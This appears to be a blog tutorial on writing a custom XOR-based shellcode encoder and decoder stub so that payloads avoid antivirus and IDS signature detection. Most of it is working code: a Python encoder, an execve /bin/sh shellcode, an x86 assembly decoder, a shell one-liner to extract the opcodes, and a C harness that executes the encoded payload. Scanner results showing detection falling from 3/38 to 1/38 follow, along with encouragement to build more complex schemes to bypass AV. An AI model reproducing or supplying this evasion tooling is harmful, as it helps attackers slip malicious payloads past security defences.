Why do we need an custom shellcode encoder/decoder ?
When it is easy to encode our shellcode by using encoders from Metasploit such as the XORmencoder, shikata_ga_nai, etc.. why do we need to have a custom shellcode encoder ? The reason is that these encoders are fingerprinted by the antivirus and Intrusion detection systems (IDS), as they are used by most of the attackers.So if we could create a encoder with a decoder stub that isn't fingerprinted by the AV then we would be able to bypass the filters of the pattern based recognition system (but beware of strong heuristic-based systems).
A trade off from this is that the size of our shellcode will increase as we will need the decoding stub to be sent too along with our shellcode.
In this post we'll look at how to create a simple encoder to get started!
Overview
We first need to create an encoder that takes in a shellcode as an input and outputs an encoded shellcode , we will be doing this with python. Then we would need to have a decoder stub that would be sent along with the shellcode, which would decode the shellcode in memory and execute it.
Creating the encoder
I'll be using an simple logic for the encoder, you can however spice it up with any logic you want.
Encoding scheme
People call this as a Random-Byte-Insertion-XOR Encoding Scheme since we will be inserting random bytes and xoring our shellcode with it .First the shellcode is aligned to an even number, if shellcode length is an odd number we align it by appending NOP ( 0x90 ) in the end .
Say the Shellcode = \x31\xc0....\x50\x68
, we will divide this shellcode into blocks of two \x31\xc0|....|\x50\x68
, and insert a random int in front \x0a\x31\xc0....\xfe\x50\x68
where \x0a and \xfe are the random bytes inserted , this is done to all the blocks.
Now the idea is to take that random byte as the base for a XOR operation, and to chain the next XOR operation based on the result of the previous.
random byte inserted shellcode :\x0a\x31\xc0....\xfe\x50\x68
shellcode[1] =XOR(shellcode[0],shellcode[1]) ; 0x3B
After first XOR : \x0a\x3b\xc0....\xfe\x50\x68
shellcode[2] =XOR(shellcode[1],shellcode[2]) ; 0xFB
After second XOR : \x0a\x3b\xfb....\xfe\x50\x68
Repeating this to all the blocks, the final encoded shellcode will be ,
final encoded shellcode :\x0a\x3b\xfb....\xfe\xae\xc6
Now if there are any bad characters that needs to be removed , a check is made and in case there are any, the shellcode is then xor'd with a new set of rand bytes.
Below is the implementation of the encoder in python.
#!/bin/python
from random import randint
#shellcode
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
bad_chars = ["\x00"] #bad chars
shellcode_ = bytearray()
shellcode_.extend(shellcode)
len_shellcode = len(shellcode_)
if len_shellcode % 2 == 1: # checking if shellcode is aligned
shellcode_.append("\x90")
def encoder():
encode_shellcode = bytearray()
for i in range (0,len_shellcode,2):
x = randint(1,255)
byte1 = shellcode_[i]
byte2 = shellcode_[i+1]
#XOR
byte1 = ( x ^ byte1 )
byte2 = ( byte1 ^ byte2 )
encode_shellcode.append(x)
encode_shellcode.append(byte1)
encode_shellcode.append(byte2)
for i in bad_chars: #checking for bad chars
if encode_shellcode.find(i) >= 0 :
#bad char found
print "Illegal Char found , re-encoding wait :) "
encoder()
return encode_shellcode #Return the encoded shellcode
encoded_ = ""
encoded_shellcode = encoder()
for y in encoded_shellcode:
len_enc = len(str(hex(y)))
if len_enc == 3 :
encoded_+=str(hex(y)[:2])+"0"+str(hex(y)[2:])+","
else:
encoded_+=str(hex(y))+","
encoded_=encoded_[:-1]
print "Size of original shellcode is "+str(len(shellcode_))
print "Size of encoded shellcode is "+str(len(encoded_shellcode))
print encoded_
The shellcode that I used is 28 bytes in length and can be found at http://shell-storm.org/shellcode/files/shellcode-811.php
After running the encoder,
Creating the decoder stub
The decoder stub is implemented using assembly , this stub is placed before the encoded shellcode so that it can decode and execute the shellcode in memory.
below is my implementation of the decoder,
global _start
section .text
_start:
jmp short call_decoder
decoder:
pop esi ; shellcode's address
push esi ; to call the shellcode address
mov edi,esi
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
loop:
mov al, [esi] ; first byte to xor
xor al, [esi+1] ; second byte to xor
mov [edi],al
inc esi
inc edi
inc ecx
cmp cl , 0x2
jne loop
inc esi
xor ecx,ecx
add dx, 0x3
cmp dx, len
jne loop
pop eax
jmp eax
call_decoder:
call decoder
; paste the encoded shellcode below
shellcode: db 0x3f,0x0e,0xce,0x67,0x37,0x5f,0xb6,0x99,0xb6,0x66,0x15,0x7d,0x67,0x0f,0x20,0xfd,0x9f,0xf6,0x81,0xef,0x66,0x9a,0x79,0xf0,0x11,0xd0,0x59,0xe3,0x21,0x91,0xcf,0xc4,0x09,0x99,0x19,0x28,0xe7,0x27,0x67,0x8f,0x42,0xc2
len: equ $-shellcode
We then need to get the code of this decoder.asm file ,
nasm -f elf decoder.asm && ld -o decoder decoder.o && for i in `objdump -d decoder | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
Now we can save this encoded shellcode with the decoding stub in a c file and test it.
#include <stdio.h>
#include <string.h>
unsigned char code[] =
"\xeb\x2b\x5e\x56\x89\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x8a\x06\x32\x46\x01\x88\x07\x46\x47\x41\x80\xf9\x02\x75\xf1\x46\x31\xc9\x66\x83\xc2\x03\x66\x83\xfa\x24\x75\xe4\x58\xff\xe0\xe8\xd0\xff\xff\xff\x19\x28\xe8\xf9\xa9\xc1\x58\x77\x58\xc9\xba\xd2\x81\xe9\xc6\xc7\xa5\xcc\xea\x84\x0d\x5a\xb9\xe9\x2b\x78\xf1\xf6\x17\xa7\xc5\xce\x03\x7e\xfe\x6e";
int main(void)
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Below are the results of online scanner of the simple payload and the encoded payload
Result with the plain shellcode ( Detection 3/38 )
https://nodistribute.com/result/eN2MYKQT5tFxDokZSVvnsl0aLC
Result with the encoded shellcode and the stub ( Detection 1/38 )
https://nodistribute.com/result/8SEi3PJqfjxXuZ0NDgWG
Feel free to test the code and let me know how that works for you.
If you are writing your own encoder go crazy with the encoding scheme , more complex it is , less chance that it was used by someone else, and higher the chances of it bypassing AV filter.